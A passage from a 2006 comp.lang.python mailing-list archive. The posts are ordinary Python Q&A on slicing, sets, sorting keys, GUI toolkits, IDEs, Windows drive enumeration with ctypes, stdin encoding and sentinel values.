x? I was expecting > "result" to be an empty string, not the str value of None. An empty string evaluates to False, so it then continues to the other branch. Either of the following should suffice: # return a non-empty string x is None and "None" or str(x) # invert the logic and return # something in the "and" portion x is not None and str(x) or "" There are more baroque ways of writing the terniary operator in python (although I understand 2.5 or maybe python 3k should have a true way of doing this). My understanding is that one common solution is something like {True: "", False: str(x)}[x is None] -tkc From gagsl-py at yahoo.com.ar Wed Oct 25 20:30:45 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 25 Oct 2006 21:30:45 -0300 Subject: Dealing with multiple sets In-Reply-To: <1161821534.759477.194750@m7g2000cwm.googlegroups.com> References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> <1161821534.759477.194750@m7g2000cwm.googlegroups.com> Message-ID: <7.0.1.0.0.20061025212425.038ccae8@yahoo.com.ar> At Wednesday 25/10/2006 21:12, John Henry wrote: >Oops. Forgot to mention, I am still using 2.3. try: set except NameError: from sets import Set as set and the code will work almost exactly the same in 2.3/2.4 > > 1) Give me a list of the items that are in all of the sets? (3 in the > > above example) a & b & c & is the intersection operator. > > 2) Give me a list of the items that are not in all of the sets? (1,2 in > > the above example) (a | b | c) - (a & b & c) (take the union of all items) except (the ones that are simultaneously in all sets) -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From ath-admin at vt.edu Thu Oct 19 11:47:38 2006 From: ath-admin at vt.edu (rick) Date: Thu, 19 Oct 2006 11:47:38 -0400 Subject: invert or reverse a string... warning this is a rant Message-ID: Why can't Python have a reverse() function/method like Ruby? Python: x = 'a_string' # Reverse the string print x[::-1] Ruby: x = 'a_string' # Reverse the string print x.reverse The Ruby approach makes sense to me as a human being. The Python approach is not easy for me (as a human being) to remember. Can that be changed or should I just start blindly memorizing this stuff? P.S. I like Python better than Ruby 90% of the time and use Python 90% of the time, but 10% of the time, little things such as this drive me crazy! From jhefferon at smcvt.edu Fri Oct 6 07:40:36 2006 From: jhefferon at smcvt.edu (Jim) Date: 6 Oct 2006 04:40:36 -0700 Subject: CGI Tutorial References: Message-ID: <1160134836.244721.55350@m73g2000cwd.googlegroups.com> Sells, Fred wrote: > content is great, my comments are editorial. > > I prefer PDF with bookmarks rather than HTML. > > If you choose to go the PDF route, I've found OpenOffice 2.0 pretty good at > generating PDF with bookmarks. Just don't get too complex or OO may hose > you. Since you replied to a person who replied to me and who mentioned it, I assume that you are talking about my text _Linear Algebra_ (I have another text up, _Number Theory_, that no one seems to know about so I assume you are not talking about it). If that's true then it is way off topic, not just for the thread but for the newsgroup. Please write me separately at the address given on the web page for the text. But, my book doesn't use any HTML. It also doesn't come from a word processor, since for mathematics the standard is LaTeX, so maybe you are talking about something entirely unrelated? But at all events it seems not to have to do with CGI. Jim From horpner at yahoo.com Thu Oct 12 08:47:42 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 12 Oct 2006 14:47:42 +0200 Subject: does raw_input() return unicode? References: <12iln7en9ipit77@corp.supernews.com> <1160541147.208698.252310@e3g2000cwe.googlegroups.com> <452D4ABB.8020704@v.loewis.de> Message-ID: On 2006-10-11, Martin v. L?wis wrote: > Neil Cerutti schrieb: >> I'm all mindboggley. Just when I thought I was starting to >> understand how this character encoding stuff works. Are >> PythonWin's stdout and stdin implementations is incomplete? > > Simple and easy: yes, they are. Oh, phew! -- Neil Cerutti Any time I've taken the mound, it's always been the old Samson-and-Goliath story written about me. --Randy Johnson From dracula571 at gmail.com Tue Oct 17 02:23:06 2006 From: dracula571 at gmail.com (dracula571) Date: 16 Oct 2006 23:23:06 -0700 Subject: a question about s[i:j] when i is negative Message-ID: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> s[i:j] slice of s from i to j (3), (4) (3) If i or j is negative, the index is relative to the end of the string: len(s) + i or len(s) + j is substituted. But note that -0 is still 0. (4) The slice of s from i to j is defined as the sequence of items with index k such that i <= k < j. If i or j is greater than len(s), use len(s). If i is omitted or None, use 0. If j is omitted or None, use len(s). If i is greater than or equal to j, the slice is empty. i can't follow (3) very well. for example:k = [1,2,3,4,5] k[-1:2]=[] k[-5:2]=[1,2] but k[-6:2] = [1,2] why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by plusing len(k) twice.But the result is not what i expect.why,or did i misunderstand the rule of (3). From rtw at freenet.co.uk Mon Oct 9 10:22:29 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Mon, 09 Oct 2006 09:22:29 -0500 Subject: file system iteration References: Message-ID: Tim Golden wrote in news:mailman.119.1160403292.11739.python- list at python.org in comp.lang.python: > [Rick] >| Searching for a file by name. Scanning for viruses. > Etc. >| There are lots >| of legitimate reason to walk all paths from a centra > l >| starting point, no??? > > Well, to get you started, I think this is the kind > of thing you'll want. Uses ctypes, which is built-in > to Python 2.5 so presumably legit. > > > import ctypes > import string > > GetDriveType = ctypes.windll.kernel32.GetDriveTypeA > > for letter in string.uppercase: > print letter, "=>", GetDriveType ("%s:" % letter) > > > > You'll have to refer to > > http://windowssdk.msdn.microsoft.com/en-us/library/ms685874.aspx > > and various headers to get the values in question, but they > look quite straightforward at a glance. > These seem to map when tested on my system: import ctypes DRIVE_TYPE_MAP = dict( enumerate ( """\ DRIVE_UNKNOWN DRIVE_NO_ROOT_DIR DRIVE_REMOVABLE DRIVE_FIXED DRIVE_REMOTE DRIVE_CDROM DRIVE_RAMDISK """.split() )) ## if you need the constants ... for i, name in DRIVE_TYPE_MAP.iteritems(): exec( "%s = %d" %( name, i) ) GetDriveTypeW = ctypes.windll.kernel32.GetDriveTypeW for i in range( ord( 'A' ), 1 + ord('Z') ): path = u"%c:\\" % chr( i ) print path, DRIVE_TYPE_MAP[ GetDriveTypeW( path ) ] Rob. -- http://www.victim-prime.dsl.pipex.com/ From ath-admin at vt.edu Mon Oct 9 10:28:43 2006 From: ath-admin at vt.edu (rick) Date: Mon, 09 Oct 2006 10:28:43 -0400 Subject: file system iteration In-Reply-To: References: Message-ID: Tim Golden wrote: > [Rick] > | Searching for a file by name. Scanning for viruses. Etc. > | There are lots > | of legitimate reason to walk all paths from a central > | starting point, no??? > > Well, to get you started, I think this is the kind > of thing you'll want. Uses ctypes, which is built-in > to Python 2.5 so presumably legit. > > > import ctypes > import string > > GetDriveType = ctypes.windll.kernel32.GetDriveTypeA > > for letter in string.uppercase: > print letter, "=>", GetDriveType ("%s:" % letter) > > Thanks, I'll give this a try. I appreciate everyone's input. From rrr at ronadam.com Wed Oct 18 10:35:58 2006 From: rrr at ronadam.com (Ron Adam) Date: Wed, 18 Oct 2006 09:35:58 -0500 Subject: Flexable Collating (feedback please) In-Reply-To: <1161172108.276347.134020@h48g2000cwc.googlegroups.com> References: <35kZg.6681$fl.2685@dukeread08> <1161172108.276347.134020@h48g2000cwc.googlegroups.com> Message-ID: georgeryoung at gmail.com wrote: > > On Oct 18, 2:42 am, Ron Adam wrote: >> I put together the following module today and would like some feedback on any >> obvious problems. Or even opinions of weather or not it is a good approach. > ,,, > def __call__(self, a, b): > """ This allows the Collate class work as a sort key. > > USE: list.sort(key=Collate(flags)) > """ > return cmp(self.transform(a), self.transform(b)) > > You document _call__ as useful for the "key" keyword to sort, but you > implement it for the "cmp" keyword. The "key" allows much better > performance, since it's called only once per value. Maybe just : > return self.transform(a) > > -- George > Thanks, I changed it to the following... def __call__(self, a): """ This allows the Collate class work as a sort key. USE: list.sort(key=Collate(flags)) """ return self.transform(a) And also changed the sort call here ... def collate(slist, flags=0): """ Collate list of strings in place. """ slist.sort(key=Collate(flags)) <<< Today I'll do some performance tests to see how much faster it is for moderate sized lists. Cheers, Ron From ray_usenet at yahoo.com Mon Oct 9 21:48:25 2006 From: ray_usenet at yahoo.com (Ray) Date: 9 Oct 2006 18:48:25 -0700 Subject: (semi-troll): Is Jython development dead? In-Reply-To: <1160442232.144014.109470@i42g2000cwa.googlegroups.com> References: <1160442232.144014.109470@i42g2000cwa.googlegroups.com> Message-ID: <1160444905.404297.127410@m73g2000cwd.googlegroups.com> Sloan.Kohler at gmail.com wrote: > Is Jython development dead or has it just seemed that way for over a > year?. The jython.org website has a recent new appearance (but no new > content) and there is some message traffic on the developer site at > Sourceforge. However nothing has been released for over a year (i.e. > no support for Python 2.3, 2.4 or 2.5). Is seems that IronPython may > have a better future than Jython. > > I know this is a bit of a troll but I'm concerned about choosing Jython > as the basis for a cross platform test scipt execution environment. > Does anyone know if a Jython update is imminent? There was a time when Jython walked like the dead and quacked like the dead but if you dared calling it dead or asking whether it was really dead you'd be admonished that it was open source and you should've just gone to the repository and hack some Jython code. (Or the ever popular response: that Jython 2.1 works , so why bother asking about 2.2 and beyond?). Also, thankfully, it's picking up again, thanks to Frank Wierzbicki, et. al.--just check out the jython-dev mailing list, seems that new bloods are coming in. AFAIK they're trying to get a release for 2.2 ASAP, then from there go to other versions--I think there was even a talk about jumping versions (e.g.: probably skipping 2.3 or something) somewhere in the list... I'm not sure how it was concluded though. Personally after 2.2 is out I think they might as well jump to 2.5 straightaway. So, what is your main concern here that 2.1 doesn't address? Because if your concern is that you're using a dead thing as your environment, it's rising from the dead. But if your concern is that you want to use features in Python 2.4 in Jython, might as well look for other solutions--it'll be some time before a version that supports that comes out. > > - Sloan From jmcantrell at gmail.com Fri Oct 20 01:17:23 2006 From: jmcantrell at gmail.com (jmcantrell at gmail.com) Date: 19 Oct 2006 22:17:23 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <1161321443.206960.207650@i3g2000cwc.googlegroups.com> wxPython is much more powerful and flexible. I would suggest moving more in that direction. On Oct 19, 3:29 pm, Kevin Walzer wrote: > I'm a Tcl/Tk developer who has been working, slowly, at learning Python, > in part because Python has better support for certain kinds of > applications that I want to develop than Tcl/Tk does. Naturally, I > thought that I would use Tkinter as the GUI for these programs. However, > in doing research into GUI development techniques, sample code, and > showcase applications, what has struck me is how little sophisticated > GUI development seems to be done in Tkinter as compared to, say, > wxPython. I've found plenty of tutorials on how to do basic GUI stuff > with Tkinter, but that stuff pretty much ends with the core Tk widgets > (buttons, entry fields, scrollbars, and menu items). > > Coming from Tcl/Tk, where there are a huge number of extension packages > to enhance the Tk widgets and which allow you to make really polished > GUI's, I'm struck mainly by how little of this stuff has made it over > into Tkinter/Python. For instance, I've developed several Tcl > applications that use the core Tk widgets, the Tile theming package, the > Bwidget set (great tree widget and listbox, which allows you to embed > images), and tablelist (an extremely flexible muti-column listbox > display). I've found Python wrappers for some of this stuff, but almost > no documentation on how to use them, and very little in the way of > actual applications making use of them--which is itself a red flag. And > most of the pure-Python extension stuff that I've found, such as Python > megawidgets, is pretty dated/ugly and lags far behind the comparable > stuff on the Tcl side. > > Am I better off biting the bullet and learning wxPython--a different GUI > paradigm to go with the new language I'm trying to learn? I had hoped to > reduce my learning curve, but I'm very concerned that I simply can't do > what I want to do with Tkinter. What do other Tkinter developers think? From waylan at gmail.com Wed Oct 4 15:06:56 2006 From: waylan at gmail.com (waylan) Date: 4 Oct 2006 12:06:56 -0700 Subject: Is there an alternative to os.walk? References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com> Message-ID: <1159988816.166699.307450@k70g2000cwa.googlegroups.com> Bruce wrote: > Hi all, > I have a question about traversing file systems, and could use some > help. Because of directories with many files in them, os.walk appears > to be rather slow. I`m thinking there is a potential for speed-up since > I don`t need os.walk to report filenames of all the files in every > directory it visits. Is there some clever way to use os.walk or another > tool that would provide functionality like os.walk except for the > listing of the filenames? You might want to check out the path module [1] (not os.path). The following is from the docs: > The method path.walk() returns an iterator which steps recursively > through a whole directory tree. path.walkdirs() and path.walkfiles() > are the same, but they yield only the directories and only the files, > respectively. Oh, and you can thank Paul Bissex for pointing me to path [2]. [1]: http://www.jorendorff.com/articles/python/path/ [2]: http://e-scribe.com/news/289 From gagsl-py at yahoo.com.ar Fri Oct 6 21:23:58 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 06 Oct 2006 22:23:58 -0300 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160179043.266322.311940@i3g2000cwc.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> Message-ID: <7.0.1.0.0.20061006221854.045bd048@yahoo.com.ar> At Friday 6/10/2006 20:57, erikcw wrote: >I ended up using len(sys.argv) > 1 for this particular problem. But I >think slicing is closer to the tool I was looking for. > >I found a.has_key(k) or "k in a" for dictionaries - but haven't found >anything similar for lists. Does it exist? if 2 in [1,2,3]: print "Use the same (in) operator" elif 'E' in ('E','r','i','k'): print "Works for any sequence" elif 'o' in 'hello': print "Even strings" Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From no-spam at no-spam-no-spam.com Sat Oct 14 09:50:09 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 14 Oct 2006 15:50:09 +0200 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: Ahmer wrote: > What do you guys use? > Why? > What do you like and hate about it? > What platform(s) is it avalable on? > How much does it cost? > etc. On Windows... I uninstalled Komodo (several times; fat, crashes, slow debugger ...) I uninstalled Wing I uninstalled Boa I uninstalled PythonWorks (does it still exist?) I uninstalled SPE (nice homework, but bugs and no continuity) ... I still live with good old Pythonwin coming with the win32all package by default. Its fast, direct, no rubbish, extensible/open source, keys go efficiently the way you know from MS / Borland, the joint in-thread debugger & interactive is a plus for iteratively evolving python code (from scripts to bigger apps) at high speed. On *nix I didn't invest in learning one. Maybe eric3 (is there similar confusion as with Boa?) Generally I'd say: Python is a language so good that at best it IS itself the IDE. Tools should be around a main interactive prompt, which carries forth life status. This paradigm allows for best tool automation (and integration of different tools) and code iteration. Thus: Python should use the (IDE) tools - And NOT: the IDE uses Python (as one is accustomed to in compiler langs) -robert From pydecker at gmail.com Sun Oct 22 20:59:33 2006 From: pydecker at gmail.com (Peter Decker) Date: Sun, 22 Oct 2006 20:59:33 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161563215.573049.104490@f16g2000cwb.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161444416.749636.172530@i42g2000cwa.googlegroups.com> <1161510017.622766.187460@k70g2000cwa.googlegroups.com> <1161563215.573049.104490@f16g2000cwb.googlegroups.com> Message-ID: On 22 Oct 2006 17:26:55 -0700, alex23 wrote: > Can you also tell when you're wrong? > > I checked out Wax last week for the first time; I hit a snag and got an > answer from the lead developer within a day, along with a pointer to > the latest dev version. > > But don't let communication get in the way of that six sense you've got > going there :) I've been following Wax for over two years. You can count the number of new features that have been added to it in that time on one hand. Hans is a great guy and has written some great stuff, but Wax is but a small side project of his. I'm sure he'll support it excellently, but I don't think I would hold my breath waiting for him to him to release a grid that does, say, 1/10th of what the Dabo grid can do. -- # p.d. From horpner at yahoo.com Wed Oct 11 08:21:03 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 11 Oct 2006 14:21:03 +0200 Subject: does raw_input() return unicode? References: <12iln7en9ipit77@corp.supernews.com> <1160541147.208698.252310@e3g2000cwe.googlegroups.com> Message-ID: On 2006-10-11, Leo Kislov wrote: >> Unfortunately, I can't tell you how to make sys.stdin return >> unicode for use with raw_input. I tried what I thought should >> work and as you can see it messed up the buffering on stdin. >> Does anyone else know how to wrap sys.stdin so it returns >> unicode but is still unbuffered? > > Considering that all consoles are ascii based, the following > should work where python was able to determine terminal > encoding: > > class ustdio(object): > def __init__(self, stream): > self.stream = stream > self.encoding = stream.encoding > def readline(self): > return self.stream.readline().decode(self.encoding) > > sys.stdin = ustdio(sys.stdin) > > answer = raw_input() > print type(answer) This interesting discussion led me to a weird discovery: PythonWin 2.4.3 (#69, Apr 11 2006, 15:32:42) [MSC v.1310 32 bit (Intel)] on win32. Portions Copyright 1994-2004 Mark Hammond (mhammond at skippinet.com.au) - see 'Help/About PythonWin' for further copyright information. >>> import sys >>> sys.stdout.encoding Traceback (most recent call last): File "", line 1, in ? File "C:\edconn32\Python24\Lib\site-packages\pythonwin\pywin\mfc\object.py", line 18, in __getattr__ return getattr(o, attr) AttributeError: encoding >>> sys.stdin.encoding >>> I'm all mindboggley. Just when I thought I was starting to understand how this character encoding stuff works. Are PythonWin's stdout and stdin implementations is incomplete? -- Neil Cerutti A song fest was hell at the Methodist church Wednesday. --Church Bulletin Blooper From g.brandl-nospam at gmx.net Sat Oct 28 16:58:37 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sat, 28 Oct 2006 22:58:37 +0200 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: J. Clifford Dyer wrote: > Georg Brandl wrote: >> J. Clifford Dyer wrote: >> >>> >>> (1 > 0) < 1 >>> False >>> >>> 1 > 0 < 1 >>> True >>> >>> 1 > (0 < 1) >>> False >>> >>> 10 > (0 < 1) >>> True >> >> I hope you know why this works the way it does. >> >> Georg > > Yes, I do understand why it works. I couldn't have crafted it if I > didn't, but my point is that the reason why it works is not explainable > if you believe that you are dealing with booleans. Okay, but you should have left off the second example, because it has nothing to do with the others. > It's only > explainable if you recognize that you are actually dealing with > integers, and specifically, 1 and 0. So the something/nothing dichotomy > combined with an understanding of what the comparison operation REALLY > does (yield a 1 or a 0) helps you understand where your result came > from, while thinking in terms of true/false will mislead you. That's true. The only sensible thing to do, if you had "real" booleans, for 1 > True, would be to raise an exception. Georg From ty.2006 at yahoo.com Mon Oct 2 17:13:00 2006 From: ty.2006 at yahoo.com (T) Date: 2 Oct 2006 14:13:00 -0700 Subject: License / Registration key enabled software References: <1158951061.539594.164040@i3g2000cwc.googlegroups.com> Message-ID: <1159823579.917789.121910@c28g2000cwb.googlegroups.com> Mike Playle wrote: > The people who want to use your software illegitimately will succeed no > matter what you do, so you shouldn't worry about them. Worry instead about > the people who DON'T want to use it illegitimately. Can a license key > scheme help them? If so, implement it. No trickery is needed - a simple > comparison will suffice. > > Mike Oh man. This is going way off topic!!! I just wanted to know how license / registration key can be implemented in python. I was not interested in philosophical discussion of why / why not one should implement it, whether that business model make sense, instead using smartcards, etc. etc. I would like to satisfy technical / intellectual curiosity of how it is done in python -- so how about returning to the original topic of "How can license / registration key be implemented in python?" From cameron.walsh at gmail.com Thu Oct 26 22:58:20 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Fri, 27 Oct 2006 10:58:20 +0800 Subject: Sorting by item_in_another_list In-Reply-To: References: <7x1woypbe1.fsf@ruckus.brouhaha.com> <7x8xj3cxrl.fsf@ruckus.brouhaha.com> Message-ID: Steven Bethard wrote: > > As you noted, you'll get an error if you try to concatenate B as a set > to the list. > > Steve Whoops, remind me to check things work before I type them. In the mean time, here are some more interesting timing results: With a larger data set, 500 elements instead of 100, the times were almost the same: python -m timeit -s "A=range(500); B=range(40,60,2); B_set=set(B)" "A=B+list(x for x in A if x not in B_set)" 10000 loops, best of 3: 103 usec per loop python -m timeit -s "A=range(500); B=range(40,60,2); B_set = set(B)" "A.sort(key=B_set.__contains__, reverse=True)" 10000 loops, best of 3: 99.2 usec per loop But for the last recommended one: python -m timeit -s "A=range(500); B=range(40,60,2); C = set(A) -set(B)" "A=B+filter(C.__contains__, A)" 10000 loops, best of 3: 38.3 usec per loop Much faster! But that does not take into account the set creation and set difference calculations. Let's try including that: python -m timeit -s "A=range(500); B=range(40,60,2)" "C=set(A)-set(B)" "a=B+filter(C.__contains__, A)" 10000 loops, best of 3: 105 usec per loop and compare to our other two versions including set creation: python -m timeit -s "A=range(500); B=range(40,60,2)" "B_set = set(B); A=B+list(x for x in A if X not in B_set" 10000 loops, best of 3: 105 usec per loop python -m timeit -s "A=range(500); B=range(40,60,2)" "B_set = set(B); A.sort(key=B_set.__contains__, reverse=True)" 10000 loops, best of 3: 101 usec per loop Pretty similar again. However, converting each element to a string first ("A=list(str(x) for x in range(500)" etc.), making it more similar to my data, gave: 102usec per loop for the A.sort() method 132usec per loop for the A=B+filter() method 104usec per loop for the A=B+list() method It is interesting to note the increased time taken by the set difference/filter method. It appears not to like strings as much as ints. We can also shave another 7 usec off the filter time: python -m timeit -s "A=list(str)x) for x in range(500)); B=list(str(x) for x in range(40,60,2)); not_in_B_set=lambda x: x not in B_set" "B_set=set(B); A=B+filter(not_in_B_set, A)" 10000 loops, best of 3: 125 usec per loop In conclusion, it appears I should use the clearest of all the methods, since for the data sizes I am dealing with, they are of approximately the same speed, and the time taken is negligible anyway. Thanks for all your help, Cameron. From larry.bates at websafe.com Fri Oct 20 09:41:04 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 20 Oct 2006 08:41:04 -0500 Subject: python module for finite element program In-Reply-To: <1161304245.341556.304670@f16g2000cwb.googlegroups.com> References: <1161304245.341556.304670@f16g2000cwb.googlegroups.com> Message-ID: <4538D1F0.9020801@websafe.com> ajikoe at gmail.com wrote: > Hello, > > Is there any add on python modules suitable for finite element 3D mesh > such as to create (beam, plate, etc) ? > > Best Regards, > ajikoe > Google is your friend: http://www.python.org/pycon/papers/pysparse.html http://sourceforge.net/projects/feval/ http://www.code-aster.org/ (French site) http://www.icivilengineer.com/Open_Source/ http://adsabs.harvard.edu/abs/2000APS..DPPHP1088P -Larry From paddy3118 at netscape.net Fri Oct 6 15:21:51 2006 From: paddy3118 at netscape.net (Paddy) Date: 6 Oct 2006 12:21:51 -0700 Subject: help on pickle tool In-Reply-To: <1160162029.929742.144420@i42g2000cwa.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160162029.929742.144420@i42g2000cwa.googlegroups.com> Message-ID: <1160162511.140501.295840@c28g2000cwb.googlegroups.com> Paddy wrote: > hanumizzle wrote: > > On 5 Oct 2006 22:25:58 -0700, Paddy wrote: > > > > > You might try picking the data with a different pickle formatter that > > > your Java can use. Maybe an XML pickler > > > (http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE > > > untested by me). > > > You might also use a JSON/YAML pickler. JSON is now a subset of YAML: > > > > > Why a subset? > > I was referring to comments ike: > http://redhanded.hobix.com/inspect/yamlIsJson.html > > http://redhanded.hobix.com/inspect/jsonCloserToYamlButNoCigarThanksAlotWhitespace.html > > Happy coding - Paddy. Oh, and this might also be of use: http://www-128.ibm.com/developerworks/web/library/x-matters46/index.html - Pad. From bignose+hates-spam at benfinney.id.au Sat Oct 28 04:56:33 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 28 Oct 2006 18:56:33 +1000 Subject: Need help (Basic python)...what did I do wrong? References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Message-ID: <87slh8byym.fsf@benfinney.id.au> "frankie_85" writes: > I just made a simple code which is part of my assignment You may want to review the restrictions your educational institution has on collusion. > a function that takes one floating point number x as its argument > and returns (the square root of the absolute value of x) plus (5 > times x cubed). > > and read 5 floating point values from the user into a list then > apply the function to each value in the list and print the results > in reverse order. > > -------------------------------------------------------------------------------------------- > import math > > print "Enter 5 values:" > a = float(raw_input()) > b = float(raw_input()) > c = float(raw_input()) > d = float(raw_input()) > e = float(raw_input()) This reads five values, but assigns five separate names to them. You will want to review your course notes on Python to find out what a 'list' is. > it always gives me these error messages: > > Traceback (most recent call last): > File "/Users/x/Documents/test3.py", line 25, in > funct(a, b, c, d, e) > File "/Users/x/Documents/test3.py", line 11, in funct > a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) > TypeError: 'int' object is not callable > > What did I do wrong? Please help me The error message is telling you that you have "called" an integer ('int') object. Integer objects don't support being called like functions. The syntax for "calling" an object is: foo(something, something_else) Look at the line of code reported in the error, and you'll find an integer object being called in that fashion. You'll need to rewrite it so it does what you're actually trying to do. Again, please make sure you work on these problems yourself; your assessment should not be testing your ability to ask on the internet for assistance. -- \ "All good things are cheap; all bad are very dear." -- Henry | `\ David Thoreau | _o__) | Ben Finney From gagsl-py at yahoo.com.ar Mon Oct 30 20:34:27 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 30 Oct 2006 22:34:27 -0300 Subject: Python windows interactive. In-Reply-To: <1162253732.035128.91060@e3g2000cwe.googlegroups.com> References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> <45467205.3000302@websafe.com> <1162253732.035128.91060@e3g2000cwe.googlegroups.com> Message-ID: <7.0.1.0.0.20061030222642.04aaad80@yahoo.com.ar> At Monday 30/10/2006 21:15, notejam wrote: >Thanks everyone for the help. I got a simple two line program to work >from a text file. >Can not figure out how to write more than one line in interpreter mode. > Is that all interpreter is good for, testing one liners? I have it >run the program everytime I hit return, and can not figure out how to >enter multiple lines of code. I can do multiple lines in text file, so >no problem, but I am jsut wondering can a program with 2 or more lines >be wrote from the interpreter mode? The command-line interpreter (python.exe), in interactive mode, is just for testing purposes: one or two lines or code. You could write your program in a file (using notepad by example), save it with filename.py, and run it using: python filename.py There are some integrated environments for working in python. IDLE already comes with your Python installation. For Windows you can get PythonWin -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From rasmussen.bryan at gmail.com Wed Oct 11 04:03:10 2006 From: rasmussen.bryan at gmail.com (bryan rasmussen) Date: Wed, 11 Oct 2006 10:03:10 +0200 Subject: OT: Sarcasm and irony In-Reply-To: <004501c6ecf0$430a6a20$03000080@hendrik> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <004501c6ecf0$430a6a20$03000080@hendrik> Message-ID: <3bb44c6e0610110103x7de6406dm7c1626a0724d1280@mail.gmail.com> I believe they are reputed to have a sense of humor. Cheers, Bryan Rasmussen On 10/11/06, Hendrik van Rooyen wrote: > "Steve Holden" wrote: > > 8<---------------------------------------------------------------- > > ....... It's well-known among Brits that Americans don't > > understand irony. They can be pretty oblique when it come to sarcasms > > too, for that matter. > > *ducks to avoid the nuclear fall out* > > You should not do that Steve - they have no Sense of Humour either.... > > - Hendrik > > -- > http://mail.python.org/mailman/listinfo/python-list > From python.list at tim.thechases.com Sat Oct 7 17:48:49 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sat, 07 Oct 2006 16:48:49 -0500 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: <452820C1.5020607@tim.thechases.com> >> Can these operators be overloaded? > > Yes. With the caveat of the "=" mentioned in the subject-line (being different from "==")...I haven't found any way to override assignment in the general case. There might be some oddball way to do it via property() but AFAIK, this only applies to properties of objects, not top-level names/variables. I'd love to know if there's some workaround for this though... -tkc From johnjsal at NOSPAMgmail.com Wed Oct 25 14:17:24 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 18:17:24 GMT Subject: cleaner way to write this? Message-ID: Hi guys. I'm looking for a nicer, more compact way of writing this code. It doesn't have to be anything fancy, just something without the duplication and preferably only one return statement. def create_db_name(self): dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', 'Create New Database') if dlg.ShowModal() == wx.ID_OK: db_name = dlg.GetValue() dlg.Destroy() return db_name else: dlg.Destroy() return One problem is that if "Cancel" is pressed, I can't return anything. Another problem is that the dialog must be destroyed, so that has to come before any return statements. Thanks. From paddy3118 at netscape.net Fri Oct 13 12:29:16 2006 From: paddy3118 at netscape.net (Paddy) Date: 13 Oct 2006 09:29:16 -0700 Subject: Loops Control with Python In-Reply-To: References: <1160755760.629942.130200@m73g2000cwd.googlegroups.com> Message-ID: <1160756956.868643.220970@m73g2000cwd.googlegroups.com> hg wrote: > Paddy wrote: > > P.S. Welcome to Python! > > > How about a thread on GOTOs ? ;-) I'm trying to be nice on c.l.p. - Mind you, I do have that rant as part of my blog: http://paddy3118.blogspot.com/2006/03/whats-wrong-with-perl.html ;-) - Paddy. From aahz at pythoncraft.com Fri Oct 27 10:40:30 2006 From: aahz at pythoncraft.com (Aahz) Date: 27 Oct 2006 07:40:30 -0700 Subject: Sentinel values for special cases References: Message-ID: In article , Ben Finney wrote: > >Fourth, if you have decided that a magic sentinel value is called for >but None is already taken for some other purpose, don't use a >string. Use a unique do-nothing object, defined at the module level so >callers can easily get at it, like 'Dmitry Vasiliev' showed >[reproduced below]. > > GLOBAL = object() > > def insert_ids(ids=GLOBAL): > if ids is GLOBAL: > ids = get_global_ids() The one disadvantage of this approach is that it complicates pickling if/when 